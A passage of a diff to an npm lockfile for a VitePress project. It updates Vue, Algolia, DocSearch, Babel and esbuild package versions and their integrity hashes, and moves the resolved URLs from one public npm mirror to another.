"vite": "^4.3.3", - "vue": "^3.2.47" + "vite": "^4.3.8", + "vue": "^3.3.4" }, "bin": { "vitepress": "bin/vitepress.js" @@ -2653,16 +2816,17 @@ "dev": true }, "node_modules/vue": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/vue/-/vue-3.2.47.tgz", - "integrity": "sha512-60188y/9Dc9WVrAZeUVSDxRQOZ+z+y5nO2ts9jWXSTkMvayiWxCWOWtBQoYjLeccfXkiiPZWAHcV+WTPhkqJHQ==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/vue/-/vue-3.3.4.tgz", + "integrity": "sha512-VTyEYn3yvIeY1Py0WaYGZsXnz3y5UnGi62GjVEqvEGPl6nxbOrCXbVOTQWBEJUqAyTUk2uJ5JLVnYJ6ZzGbrSw==", "dev": true, + "license": "MIT", "dependencies": { - "@vue/compiler-dom": "3.2.47", - "@vue/compiler-sfc": "3.2.47", - "@vue/runtime-dom": "3.2.47", - "@vue/server-renderer": "3.2.47", - "@vue/shared": "3.2.47" + "@vue/compiler-dom": "3.3.4", + "@vue/compiler-sfc": "3.3.4", + "@vue/runtime-dom": "3.3.4", + "@vue/server-renderer": "3.3.4", + "@vue/shared": "3.3.4" } }, "node_modules/w3c-keyname": { @@ -2801,7 +2965,7 @@ "dependencies": { "@algolia/autocomplete-core": { "version": "1.8.2", - "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-core/-/autocomplete-core-1.8.2.tgz", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/autocomplete-core/-/autocomplete-core-1.8.2.tgz", "integrity": "sha512-mTeshsyFhAqw/ebqNsQpMtbnjr+qVOSKXArEj4K0d7sqc8It1XD0gkASwecm9mF/jlOQ4Z9RNg1HbdA8JPdRwQ==", "dev": true, "requires": { @@ -2810,7 +2974,7 @@ }, "@algolia/autocomplete-preset-algolia": { "version": "1.8.2", - "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.8.2.tgz", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.8.2.tgz", "integrity": "sha512-J0oTx4me6ZM9kIKPuL3lyU3aB8DEvpVvR6xWmHVROx5rOYJGQcZsdG4ozxwcOyiiu3qxMkIbzntnV1S1VWD8yA==", "dev": true, "requires": { @@ -2819,143 +2983,143 @@ }, "@algolia/autocomplete-shared": { "version": "1.8.2", - "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-shared/-/autocomplete-shared-1.8.2.tgz", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/autocomplete-shared/-/autocomplete-shared-1.8.2.tgz", "integrity": "sha512-b6Z/X4MczChMcfhk6kfRmBzPgjoPzuS9KGR4AFsiLulLNRAAqhP+xZTKtMnZGhLuc61I20d5WqlId02AZvcO6g==", "dev": true }, "@algolia/cache-browser-local-storage": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.17.0.tgz", - "integrity": "sha512-myRSRZDIMYB8uCkO+lb40YKiYHi0fjpWRtJpR/dgkaiBlSD0plRyB6lLOh1XIfmMcSeBOqDE7y9m8xZMrXYfyQ==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.17.1.tgz", + "integrity": "sha512-e91Jpu93X3t3mVdQwF3ZDjSFMFIfzSc+I76G4EX8nl9RYXgqcjframoL05VTjcD2YCsI18RIHAWVCBoCXVZnrw==", "dev": true, "requires": { - "@algolia/cache-common": "4.17.0" + "@algolia/cache-common": "4.17.1" } }, "@algolia/cache-common": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/cache-common/-/cache-common-4.17.0.tgz", - "integrity": "sha512-g8mXzkrcUBIPZaulAuqE7xyHhLAYAcF2xSch7d9dABheybaU3U91LjBX6eJTEB7XVhEsgK4Smi27vWtAJRhIKQ==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/cache-common/-/cache-common-4.17.1.tgz", + "integrity": "sha512-fvi1WT8aSiGAKrcTw8Qg3RYgcwW8GZMHcqEm4AyDBEy72JZlFBSY80cTQ75MslINjCHXLDT+9EN8AGI9WVY7uA==", "dev": true }, "@algolia/cache-in-memory": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/cache-in-memory/-/cache-in-memory-4.17.0.tgz", - "integrity": "sha512-PT32ciC/xI8z919d0oknWVu3kMfTlhQn3MKxDln3pkn+yA7F7xrxSALysxquv+MhFfNAcrtQ/oVvQVBAQSHtdw==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/cache-in-memory/-/cache-in-memory-4.17.1.tgz", + "integrity": "sha512-NbBt6eBWlsXc5geSpfPRC5dkIB/0Ptthw8r0yM5Z7D3sPlYdnTZSO9y9XWXIptRMwmZe4cM8iBMN8y0tzbcBkA==", "dev": true, "requires": { - "@algolia/cache-common": "4.17.0" + "@algolia/cache-common": "4.17.1" } }, "@algolia/client-account": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/client-account/-/client-account-4.17.0.tgz", - "integrity": "sha512-sSEHx9GA6m7wrlsSMNBGfyzlIfDT2fkz2u7jqfCCd6JEEwmxt8emGmxAU/0qBfbhRSuGvzojoLJlr83BSZAKjA==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-account/-/client-account-4.17.1.tgz", + "integrity": "sha512-3rL/6ofJvyL+q8TiWM3qoM9tig+SY4gB1Vbsj+UeJPnJm8Khm+7OS+r+mFraqR6pTehYqN8yGYoE7x4diEn4aA==", "dev": true, "requires": { - "@algolia/client-common": "4.17.0", - "@algolia/client-search": "4.17.0", - "@algolia/transporter": "4.17.0" + "@algolia/client-common": "4.17.1", + "@algolia/client-search": "4.17.1", + "@algolia/transporter": "4.17.1" } }, "@algolia/client-analytics": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/client-analytics/-/client-analytics-4.17.0.tgz", - "integrity": "sha512-84ooP8QA3mQ958hQ9wozk7hFUbAO+81CX1CjAuerxBqjKIInh1fOhXKTaku05O/GHBvcfExpPLIQuSuLYziBXQ==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-analytics/-/client-analytics-4.17.1.tgz", + "integrity": "sha512-Bepr2w249vODqeBtM7i++tPmUsQ9B81aupUGbDWmjA/FX+jzQqOdhW8w1CFO5kWViNKTbz2WBIJ9U3x8hOa4bA==", "dev": true, "requires": { - "@algolia/client-common": "4.17.0", - "@algolia/client-search": "4.17.0", - "@algolia/requester-common": "4.17.0", - "@algolia/transporter": "4.17.0" + "@algolia/client-common": "4.17.1", + "@algolia/client-search": "4.17.1", + "@algolia/requester-common": "4.17.1", + "@algolia/transporter": "4.17.1" } }, "@algolia/client-common": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/client-common/-/client-common-4.17.0.tgz", - "integrity": "sha512-jHMks0ZFicf8nRDn6ma8DNNsdwGgP/NKiAAL9z6rS7CymJ7L0+QqTJl3rYxRW7TmBhsUH40wqzmrG6aMIN/DrQ==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-common/-/client-common-4.17.1.tgz", + "integrity": "sha512-+r7kg4EgbFnGsDnoGSVNtXZO8xvZ0vzf1WAOV7sqV9PMf1bp6cpJP/3IuPrSk4t5w2KVl+pC8jfTM7HcFlfBEQ==", "dev": true, "requires": { - "@algolia/requester-common": "4.17.0", - "@algolia/transporter": "4.17.0" + "@algolia/requester-common": "4.17.1", + "@algolia/transporter": "4.17.1" } }, "@algolia/client-personalization": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/client-personalization/-/client-personalization-4.17.0.tgz", - "integrity": "sha512-RMzN4dZLIta1YuwT7QC9o+OeGz2cU6eTOlGNE/6RcUBLOU3l9tkCOdln5dPE2jp8GZXPl2yk54b2nSs1+pAjqw==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-personalization/-/client-personalization-4.17.1.tgz", + "integrity": "sha512-gJku9DG/THJpfsSlG/az0a3QIn+VVff9kKh8PG8+7ZfxOHS+C+Y5YSeZVsC+c2cfoKLPo3CuHIiJ/p86erR3bA==", "dev": true, "requires": { - "@algolia/client-common": "4.17.0", - "@algolia/requester-common": "4.17.0", - "@algolia/transporter": "4.17.0" + "@algolia/client-common": "4.17.1", + "@algolia/requester-common": "4.17.1", + "@algolia/transporter": "4.17.1" } }, "@algolia/client-search": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/client-search/-/client-search-4.17.0.tgz", - "integrity": "sha512-x4P2wKrrRIXszT8gb7eWsMHNNHAJs0wE7/uqbufm4tZenAp+hwU/hq5KVsY50v+PfwM0LcDwwn/1DroujsTFoA==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-search/-/client-search-4.17.1.tgz", + "integrity": "sha512-Q5YfT5gVkx60PZDQBqp/zH9aUbBdC7HVvxupiHUgnCKqRQsRZjOhLest7AI6FahepuZLBZS62COrO7v+JvKY7w==", "dev": true, "requires": { - "@algolia/client-common": "4.17.0", - "@algolia/requester-common": "4.17.0", - "@algolia/transporter": "4.17.0" + "@algolia/client-common": "4.17.1", + "@algolia/requester-common": "4.17.1", + "@algolia/transporter": "4.17.1" } }, "@algolia/logger-common": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/logger-common/-/logger-common-4.17.0.tgz", - "integrity": "sha512-DGuoZqpTmIKJFDeyAJ7M8E/LOenIjWiOsg1XJ1OqAU/eofp49JfqXxbfgctlVZVmDABIyOz8LqEoJ6ZP4DTyvw==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/logger-common/-/logger-common-4.17.1.tgz", + "integrity": "sha512-Us28Ot+fLEmX9M96sa65VZ8EyEEzhYPxfhV9aQyKDjfXbUdJlJxKt6wZpoEg9RAPSdO8IjK9nmuW2P8au3rRsg==", "dev": true }, "@algolia/logger-console": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/logger-console/-/logger-console-4.17.0.tgz", - "integrity": "sha512-zMPvugQV/gbXUvWBCzihw6m7oxIKp48w37QBIUu/XqQQfxhjoOE9xyfJr1KldUt5FrYOKZJVsJaEjTsu+bIgQg==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/logger-console/-/logger-console-4.17.1.tgz", + "integrity": "sha512-iKGQTpOjHiE64W3JIOu6dmDvn+AfYIElI9jf/Nt6umRPmP/JI9rK+OHUoW4pKrBtdG0DPd62ppeNXzSnLxY6/g==", "dev": true, "requires": { - "@algolia/logger-common": "4.17.0" + "@algolia/logger-common": "4.17.1" } }, "@algolia/requester-browser-xhr": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.17.0.tgz", - "integrity": "sha512-aSOX/smauyTkP21Pf52pJ1O2LmNFJ5iHRIzEeTh0mwBeADO4GdG94cAWDILFA9rNblq/nK3EDh3+UyHHjplZ1A==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.17.1.tgz", + "integrity": "sha512-W5mGfGDsyfVR+r4pUFrYLGBEM18gs38+GNt5PE5uPULy4uVTSnnVSkJkWeRkmLBk9zEZ/Nld8m4zavK6dtEuYg==", "dev": true, "requires": { - "@algolia/requester-common": "4.17.0" + "@algolia/requester-common": "4.17.1" } }, "@algolia/requester-common": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/requester-common/-/requester-common-4.17.0.tgz", - "integrity": "sha512-XJjmWFEUlHu0ijvcHBoixuXfEoiRUdyzQM6YwTuB8usJNIgShua8ouFlRWF8iCeag0vZZiUm4S2WCVBPkdxFgg==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/requester-common/-/requester-common-4.17.1.tgz", + "integrity": "sha512-HggXdjvVFQR0I5l7hM5WdHgQ1tqcRWeyXZz8apQ7zPWZhirmY2E9D6LVhDh/UnWQNEm7nBtM+eMFONJ3bZccIQ==", "dev": true }, "@algolia/requester-node-http": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/requester-node-http/-/requester-node-http-4.17.0.tgz", - "integrity": "sha512-bpb/wDA1aC6WxxM8v7TsFspB7yBN3nqCGs2H1OADolQR/hiAIjAxusbuMxVbRFOdaUvAIqioIIkWvZdpYNIn8w==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/requester-node-http/-/requester-node-http-4.17.1.tgz", + "integrity": "sha512-NzFWecXT6d0PPsQY9L+/qoK2deF74OLcpvqCH+Vh3mh+QzPsFafcBExdguAjZsAWDn1R6JEeFW7/fo/p0SE57w==", "dev": true, "requires": { - "@algolia/requester-common": "4.17.0" + "@algolia/requester-common": "4.17.1" } }, "@algolia/transporter": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/transporter/-/transporter-4.17.0.tgz", - "integrity": "sha512-6xL6H6fe+Fi0AEP3ziSgC+G04RK37iRb4uUUqVAH9WPYFI8g+LYFq6iv5HS8Cbuc5TTut+Bwj6G+dh/asdb9uA==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/transporter/-/transporter-4.17.1.tgz", + "integrity": "sha512-ZM+qhX47Vh46mWH8/U9ihvy98HdTYpYQDSlqBD7IbiUbbyoCMke+qmdSX2MGhR2FCcXBSxejsJKKVAfbpaLVgg==", "dev": true, "requires": { - "@algolia/cache-common": "4.17.0", - "@algolia/logger-common": "4.17.0", - "@algolia/requester-common": "4.17.0" + "@algolia/cache-common": "4.17.1", + "@algolia/logger-common": "4.17.1", + "@algolia/requester-common": "4.17.1" } }, "@babel/parser": { - "version": "7.21.4", - "resolved": "https://registry.npmmirror.com/@babel/parser/-/parser-7.21.4.tgz", - "integrity": "sha512-alVJj7k7zIxqBZ7BTRhz0IqJFxW1VJbm6N8JbcYhQ186df9ZBPbZBmWSqAMXwHGsCJdYks7z/voa3ibiS5bCIw==", + "version": "7.22.3", + "resolved": "https://repo.huaweicloud.com/repository/npm/@babel/parser/-/parser-7.22.3.tgz", + "integrity": "sha512-vrukxyW/ep8UD1UDzOYpTKQ6abgjFoeG6L+4ar9+c5TN9QnlqiOi6QK7LSR5ewm/ERyGkT/Ai6VboNrxhbr9Uw==", "dev": true }, "@codemirror/autocomplete": { @@ -3020,184 +3184,184 @@ } }, "@docsearch/css": { - "version": "3.3.4", - "resolved": "https://registry.npmmirror.com/@docsearch/css/-/css-3.3.4.tgz", - "integrity": "sha512-vDwCDoVXDgopw/hvr0zEADew2wWaGP8Qq0Bxhgii1Ewz2t4fQeyJwIRN/mWADeLFYPVkpz8TpEbxya/i6Tm0WA==", + "version": "3.4.0", + "resolved": "https://repo.huaweicloud.com/repository/npm/@docsearch/css/-/css-3.4.0.tgz", + "integrity": "sha512-Hg8Xfma+rFwRi6Y/pfei4FJoQ1hdVURmmNs/XPoMTCPAImU+d5yxj+M+qdLtNjWRpfWziU4dQcqY94xgFBn2dg==", "dev": true }, "@docsearch/js": { - "version": "3.3.4", - "resolved": "https://registry.npmmirror.com/@docsearch/js/-/js-3.3.4.tgz", - "integrity": "sha512-Xd2saBziXJ1UuVpcDz94zAFEFAM6ap993agh0za2e3LDZLhaW993b1f9gyUL4e1CZLsR076tztG2un2gVncvpA==", + "version": "3.4.0", + "resolved": "https://repo.huaweicloud.com/repository/npm/@docsearch/js/-/js-3.4.0.tgz", + "integrity": "sha512-uOtOHZJv+5PQmL68+srVzlGhLejnEBJgZl1bR87Zh/uK5RUI7p6el1R8hGTl2F8K2tCloNRxTMtXyYUNbMV+qw==", "dev": true, "requires": { - "@docsearch/react": "3.3.4", + "@docsearch/react": "3.4.0", "preact": "^10.0.0" } }, "@docsearch/react": { - "version": "3.3.4", - "resolved": "https://registry.npmmirror.com/@docsearch/react/-/react-3.3.4.tgz", - "integrity": "sha512-aeOf1WC5zMzBEi2SI6WWznOmIo9rnpN4p7a3zHXxowVciqlI4HsZGtOR9nFOufLeolv7HibwLlaM0oyUqJxasw==", + "version": "3.4.0", + "resolved": "https://repo.huaweicloud.com/repository/npm/@docsearch/react/-/react-3.4.0.tgz", + "integrity": "sha512-ufrp5879XYGojgS30ZAp8H4qIMbahRHB9M85VDBP36Xgz5QjYM54i1URKj5e219F7gqTtOivfztFTij6itc0MQ==", "dev": true, "requires": { "@algolia/autocomplete-core": "1.8.2", "@algolia/autocomplete-preset-algolia": "1.8.2", - "@docsearch/css": "3.3.4", + "@docsearch/css": "3.4.0", "algoliasearch": "^4.0.0" } }, "@esbuild/android-arm": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.17.18.tgz", - "integrity": "sha512-EmwL+vUBZJ7mhFCs5lA4ZimpUH3WMAoqvOIYhVQwdIgSpHC8ImHdsRyhHAVxpDYUSm0lWvd63z0XH1IlImS2Qw==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/android-arm/-/android-arm-0.17.19.tgz", + "integrity": "sha512-rIKddzqhmav7MSmoFCmDIb6e2W57geRsM94gV2l38fzhXMwq7hZoClug9USI2pFRGL06f4IOPHHpFNOkWieR8A==", "dev": true, "optional": true }, "@esbuild/android-arm64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/android-arm64/-/android-arm64-0.17.18.tgz", - "integrity": "sha512-/iq0aK0eeHgSC3z55ucMAHO05OIqmQehiGay8eP5l/5l+iEr4EIbh4/MI8xD9qRFjqzgkc0JkX0LculNC9mXBw==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/android-arm64/-/android-arm64-0.17.19.tgz", + "integrity": "sha512-KBMWvEZooR7+kzY0BtbTQn0OAYY7CsiydT63pVEaPtVYF0hXbUaOyZog37DKxK7NF3XacBJOpYT4adIJh+avxA==", "dev": true, "optional": true }, "@esbuild/android-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/android-x64/-/android-x64-0.17.18.tgz", - "integrity": "sha512-x+0efYNBF3NPW2Xc5bFOSFW7tTXdAcpfEg2nXmxegm4mJuVeS+i109m/7HMiOQ6M12aVGGFlqJX3RhNdYM2lWg==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/android-x64/-/android-x64-0.17.19.tgz", + "integrity": "sha512-uUTTc4xGNDT7YSArp/zbtmbhO0uEEK9/ETW29Wk1thYUJBz3IVnvgEiEwEa9IeLyvnpKrWK64Utw2bgUmDveww==", "dev": true, "optional": true }, "@esbuild/darwin-arm64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/darwin-arm64/-/darwin-arm64-0.17.18.tgz", - "integrity": "sha512-6tY+djEAdF48M1ONWnQb1C+6LiXrKjmqjzPNPWXhu/GzOHTHX2nh8Mo2ZAmBFg0kIodHhciEgUBtcYCAIjGbjQ==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/darwin-arm64/-/darwin-arm64-0.17.19.tgz", + "integrity": "sha512-80wEoCfF/hFKM6WE1FyBHc9SfUblloAWx6FJkFWTWiCoht9Mc0ARGEM47e67W9rI09YoUxJL68WHfDRYEAvOhg==", "dev": true, "optional": true }, "@esbuild/darwin-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/darwin-x64/-/darwin-x64-0.17.18.tgz", - "integrity": "sha512-Qq84ykvLvya3dO49wVC9FFCNUfSrQJLbxhoQk/TE1r6MjHo3sFF2tlJCwMjhkBVq3/ahUisj7+EpRSz0/+8+9A==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/darwin-x64/-/darwin-x64-0.17.19.tgz", + "integrity": "sha512-IJM4JJsLhRYr9xdtLytPLSH9k/oxR3boaUIYiHkAawtwNOXKE8KoU8tMvryogdcT8AU+Bflmh81Xn6Q0vTZbQw==", "dev": true, "optional": true }, "@esbuild/freebsd-arm64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.17.18.tgz", - "integrity": "sha512-fw/ZfxfAzuHfaQeMDhbzxp9mc+mHn1Y94VDHFHjGvt2Uxl10mT4CDavHm+/L9KG441t1QdABqkVYwakMUeyLRA==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/freebsd-arm64/-/freebsd-arm64-0.17.19.tgz", + "integrity": "sha512-pBwbc7DufluUeGdjSU5Si+P3SoMF5DQ/F/UmTSb8HXO80ZEAJmrykPyzo1IfNbAoaqw48YRpv8shwd1NoI0jcQ==", "dev": true, "optional": true }, "@esbuild/freebsd-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-x64/-/freebsd-x64-0.17.18.tgz", - "integrity": "sha512-FQFbRtTaEi8ZBi/A6kxOC0V0E9B/97vPdYjY9NdawyLd4Qk5VD5g2pbWN2VR1c0xhzcJm74HWpObPszWC+qTew==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/freebsd-x64/-/freebsd-x64-0.17.19.tgz", + "integrity": "sha512-4lu+n8Wk0XlajEhbEffdy2xy53dpR06SlzvhGByyg36qJw6Kpfk7cp45DR/62aPH9mtJRmIyrXAS5UWBrJT6TQ==", "dev": true, "optional": true }, "@esbuild/linux-arm": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm/-/linux-arm-0.17.18.tgz", - "integrity": "sha512-jW+UCM40LzHcouIaqv3e/oRs0JM76JfhHjCavPxMUti7VAPh8CaGSlS7cmyrdpzSk7A+8f0hiedHqr/LMnfijg==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-arm/-/linux-arm-0.17.19.tgz", + "integrity": "sha512-cdmT3KxjlOQ/gZ2cjfrQOtmhG4HJs6hhvm3mWSRDPtZ/lP5oe8FWceS10JaSJC13GBd4eH/haHnqf7hhGNLerA==", "dev": true, "optional": true }, "@esbuild/linux-arm64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm64/-/linux-arm64-0.17.18.tgz", - "integrity": "sha512-R7pZvQZFOY2sxUG8P6A21eq6q+eBv7JPQYIybHVf1XkQYC+lT7nDBdC7wWKTrbvMXKRaGudp/dzZCwL/863mZQ==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-arm64/-/linux-arm64-0.17.19.tgz", + "integrity": "sha512-ct1Tg3WGwd3P+oZYqic+YZF4snNl2bsnMKRkb3ozHmnM0dGWuxcPTTntAF6bOP0Sp4x0PjSF+4uHQ1xvxfRKqg==", "dev": true, "optional": true }, "@esbuild/linux-ia32": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-ia32/-/linux-ia32-0.17.18.tgz", - "integrity": "sha512-ygIMc3I7wxgXIxk6j3V00VlABIjq260i967Cp9BNAk5pOOpIXmd1RFQJQX9Io7KRsthDrQYrtcx7QCof4o3ZoQ==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-ia32/-/linux-ia32-0.17.19.tgz", + "integrity": "sha512-w4IRhSy1VbsNxHRQpeGCHEmibqdTUx61Vc38APcsRbuVgK0OPEnQ0YD39Brymn96mOx48Y2laBQGqgZ0j9w6SQ==", "dev": true, "optional": true }, "@esbuild/linux-loong64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.17.18.tgz", - "integrity": "sha512-bvPG+MyFs5ZlwYclCG1D744oHk1Pv7j8psF5TfYx7otCVmcJsEXgFEhQkbhNW8otDHL1a2KDINW20cfCgnzgMQ==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-loong64/-/linux-loong64-0.17.19.tgz", + "integrity": "sha512-2iAngUbBPMq439a+z//gE+9WBldoMp1s5GWsUSgqHLzLJ9WoZLZhpwWuym0u0u/4XmZ3gpHmzV84PonE+9IIdQ==", "dev": true, "optional": true }, "@esbuild/linux-mips64el": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-mips64el/-/linux-mips64el-0.17.18.tgz", - "integrity": "sha512-oVqckATOAGuiUOa6wr8TXaVPSa+6IwVJrGidmNZS1cZVx0HqkTMkqFGD2HIx9H1RvOwFeWYdaYbdY6B89KUMxA==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-mips64el/-/linux-mips64el-0.17.19.tgz", + "integrity": "sha512-LKJltc4LVdMKHsrFe4MGNPp0hqDFA1Wpt3jE1gEyM3nKUvOiO//9PheZZHfYRfYl6AwdTH4aTcXSqBerX0ml4A==", "dev": true, "optional": true }, "@esbuild/linux-ppc64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-ppc64/-/linux-ppc64-0.17.18.tgz", - "integrity": "sha512-3dLlQO+b/LnQNxgH4l9rqa2/IwRJVN9u/bK63FhOPB4xqiRqlQAU0qDU3JJuf0BmaH0yytTBdoSBHrb2jqc5qQ==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-ppc64/-/linux-ppc64-0.17.19.tgz", + "integrity": "sha512-/c/DGybs95WXNS8y3Ti/ytqETiW7EU44MEKuCAcpPto3YjQbyK3IQVKfF6nbghD7EcLUGl0NbiL5Rt5DMhn5tg==", "dev": true, "optional": true }, "@esbuild/linux-riscv64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-riscv64/-/linux-riscv64-0.17.18.tgz", - "integrity": "sha512-/x7leOyDPjZV3TcsdfrSI107zItVnsX1q2nho7hbbQoKnmoeUWjs+08rKKt4AUXju7+3aRZSsKrJtaRmsdL1xA==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-riscv64/-/linux-riscv64-0.17.19.tgz", + "integrity": "sha512-FC3nUAWhvFoutlhAkgHf8f5HwFWUL6bYdvLc/TTuxKlvLi3+pPzdZiFKSWz/PF30TB1K19SuCxDTI5KcqASJqA==", "dev": true, "optional": true }, "@esbuild/linux-s390x": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-s390x/-/linux-s390x-0.17.18.tgz", - "integrity": "sha512-cX0I8Q9xQkL/6F5zWdYmVf5JSQt+ZfZD2bJudZrWD+4mnUvoZ3TDDXtDX2mUaq6upMFv9FlfIh4Gfun0tbGzuw==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-s390x/-/linux-s390x-0.17.19.tgz", + "integrity": "sha512-IbFsFbxMWLuKEbH+7sTkKzL6NJmG2vRyy6K7JJo55w+8xDk7RElYn6xvXtDW8HCfoKBFK69f3pgBJSUSQPr+4Q==", "dev": true, "optional": true }, "@esbuild/linux-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-x64/-/linux-x64-0.17.18.tgz", - "integrity": "sha512-66RmRsPlYy4jFl0vG80GcNRdirx4nVWAzJmXkevgphP1qf4dsLQCpSKGM3DUQCojwU1hnepI63gNZdrr02wHUA==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/linux-x64/-/linux-x64-0.17.19.tgz", + "integrity": "sha512-68ngA9lg2H6zkZcyp22tsVt38mlhWde8l3eJLWkyLrp4HwMUr3c1s/M2t7+kHIhvMjglIBrFpncX1SzMckomGw==", "dev": true, "optional": true }, "@esbuild/netbsd-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/netbsd-x64/-/netbsd-x64-0.17.18.tgz", - "integrity": "sha512-95IRY7mI2yrkLlTLb1gpDxdC5WLC5mZDi+kA9dmM5XAGxCME0F8i4bYH4jZreaJ6lIZ0B8hTrweqG1fUyW7jbg==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/netbsd-x64/-/netbsd-x64-0.17.19.tgz", + "integrity": "sha512-CwFq42rXCR8TYIjIfpXCbRX0rp1jo6cPIUPSaWwzbVI4aOfX96OXY8M6KNmtPcg7QjYeDmN+DD0Wp3LaBOLf4Q==", "dev": true, "optional": true }, "@esbuild/openbsd-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/openbsd-x64/-/openbsd-x64-0.17.18.tgz", - "integrity": "sha512-WevVOgcng+8hSZ4Q3BKL3n1xTv5H6Nb53cBrtzzEjDbbnOmucEVcZeGCsCOi9bAOcDYEeBZbD2SJNBxlfP3qiA==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/openbsd-x64/-/openbsd-x64-0.17.19.tgz", + "integrity": "sha512-cnq5brJYrSZ2CF6c35eCmviIN3k3RczmHz8eYaVlNasVqsNY+JKohZU5MKmaOI+KkllCdzOKKdPs762VCPC20g==", "dev": true, "optional": true }, "@esbuild/sunos-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/sunos-x64/-/sunos-x64-0.17.18.tgz", - "integrity": 